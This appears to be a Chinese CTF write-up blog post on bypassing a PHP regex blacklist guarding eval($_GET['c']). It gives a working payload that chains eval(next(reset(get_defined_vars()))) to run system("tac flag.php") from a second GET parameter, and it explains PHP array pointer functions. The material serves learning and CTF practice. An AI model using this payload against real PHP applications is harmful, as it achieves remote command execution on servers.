多函数命令执行绕过
- 详细文本可看:
@Traveler2000的博客:多层函数绕过过滤
对于get_defined_vars函数注解
我们的payloads如下,对于此题:
1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}payload:
?c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php");
为什么不可以直接使用:?c=eval(next(get_defined_vars()));&pay=system("tac flag.php");,这里我们需要明确:get_defined_vars()初始返回的确实为首位元素,但是这个首位元素是$_GET超全局变量数组,相当于返回了GET请求的数组,里面包含所有$_GET请求,所以我们需要一个reset/pos函数指向数组get_defined_vars()的第一个元素,即$_GET数组,然后再使用next函数,在$_GET数组中把元素进行移动。next把指针向后移一位,即我新传入的键值为pay的$_GET超全局变量的值。(不然就是题目中键值为c的超全局变量的值)。
关于php指针的注解
常用php指针指令:
函数 是否移动指针 返回值 current()/pos()否 当前指针位置的值(越界返回 false)next()是(后移) 新位置的值(越界返回 false)prev()是(前移) 新位置的值(越界返回 false)reset()是(重置) 数组第一个元素(空数组返回 false)end()是(跳末) 数组最后一个元素(空数组返回 false)key()否 当前指针位置的键名(越界返回 null)针对这道题,我们说说
pos、reset、next之间使用的区别。
首先明确:
所有类型数组初始指针都初始指向数组的第一个元素。首先对于
pos:
它直接返回当前状态下指针所指元素的值,由于数组默认的指针都是指向第一个元素,所以给人了一个它就是返回首个元素的值的错觉,其实是返回当前指针所指元素罢了。其次对于
next:
它将指针后移一位后,返回后移一位后指针所指的数的值最后关于
reset:
它将指针强制指向首位元素后返回首位元素的值,用于get_defined_vars这个函数中,因为不确定该数组指针所指的位置。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Dedsec的博客!






